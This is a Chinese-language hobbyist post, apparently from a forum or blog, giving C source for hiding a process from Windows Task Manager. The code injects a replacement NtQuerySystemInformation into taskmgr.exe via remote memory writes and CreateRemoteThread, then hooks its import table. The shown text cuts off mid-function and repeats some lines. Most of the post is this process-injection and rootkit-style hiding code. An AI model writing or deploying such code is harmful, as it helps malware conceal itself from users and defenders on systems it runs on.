使用代码注入来实现进程隐藏 而不是使用DLL注入来实现进程隐藏
没有什么高级技术 纯体力活 原理就不说了 只是没有通过DLL注入 来实现HOOK API
没有什么高级技术 纯体力活 原理就不说了 只是没有通过DLL注入 来实现HOOK API
从核心编程 以来 似乎 一提到C注入 就是DLL注入 很奇怪 为什么没人写个完整的代码注入
所以 自己动手写了下
纯粹注入代码 邪恶二进制上 也有个代码注入的 只是用了一个未公开的函数,我还看不懂
= =本来想用汇编写的 发现汇编注入代码远比C注入代码来的繁 所以用C实现了
纯粹注入代码 邪恶二进制上 也有个代码注入的 只是用了一个未公开的函数,我还看不懂
= =本来想用汇编写的 发现汇编注入代码远比C注入代码来的繁 所以用C实现了
主要功能就是 隐藏进程 不过RING3的似乎没多大用 练习而已
代码如下:
代码如下:
- //需要编译成release版本 DEBUG版本 对函数生成的跳转地址表
- //jmp xxxxx 写入远程进程的时候xxxxx等于写入了一个全局变量
- // 程序必然崩溃
- #include "Iat_Hook.h"
- char cPath[] = "taskmgr.exe";
- void main(void)
- {
- //定义变量
- DWORD dwPid;
- HANDLE hProcess;
- DWORD dwSize = 2048;
- PVOID pRemoteAddress, pRemoteStructAddress,MyAddress;
- REMOTESTRUCT stRemoteStruct;
- //遍历进程 寻找taskmgr.exe进程ID
- dwPid = GetProcessPid(cPath);
- // open process 得到进程句柄
- hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
- if(hProcess == NULL)
- {
- printf("open error code %d/n",GetLastError());
- return;
- }
- //写入 替代函数
- MyAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- WriteProcessMemory(hProcess, MyAddress, myNtQuerySystemInformation, dwSize, NULL);
- //初始化结构
- InitializeStruct(&stRemoteStruct, (DWORD)MyAddress, dwPid);
- //写入结构
- pRemoteStructAddress = VirtualAllocEx(hProcess, NULL, sizeof(REMOTESTRUCT), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- WriteProcessMemory(hProcess, pRemoteStructAddress, &stRemoteStruct, sizeof(REMOTESTRUCT), NULL);
- //写入远程线程函数
- pRemoteAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- WriteProcessMemory(hProcess, pRemoteAddress, RemoteThread, dwSize, NULL);
- //创建远程线程
- CreateRemoteThread(hProcess, NULL, 0, pRemoteAddress,pRemoteStructAddress, 0, 0);
- CloseHandle(hProcess);
- }
- DWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct)
- {
- FARPROC fpVirtualQuery;
- FARPROC fpVirtualProtect;
- FARPROC fpOpenProcess;
- FARPROC fpEnum;
- FARPROC fpGetProcAddress;
- FARPROC fpLoadLibrary;
- FARPROC fpFreeLibrary;
- FARPROC fpWriteMemory;
- FARPROC fplstrcmp;
- HANDLE hProcess = NULL;
- HMODULE hMods[256];
- DWORD dwNeed;
- HANDLE hPsapi;
- MEMORY_BASIC_INFORMATION stMem;
- HMODULE hKernel, hModule;
- PIMAGE_NT_HEADERS pImageNtHeaders;
- PIMAGE_OPTIONAL_HEADER pImageOptionalHeader;
- IMAGE_DATA_DIRECTORY ImageImport;
- PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor;
- PIMAGE_THUNK_DATA pImageThunkData;
- DWORD oldProtect;
- wchar_t *p = pRemoteStruct->cProcessName;
- //初始化函数指针
- fpVirtualQuery = (FARPROC)pRemoteStruct->dwVirtualQuery;
- fpVirtualProtect = (FARPROC)pRemoteStruct->dwVirtualProtect;
- fpOpenProcess = (FARPROC)pRemoteStruct->dwOpenProcess;
- fpLoadLibrary = (F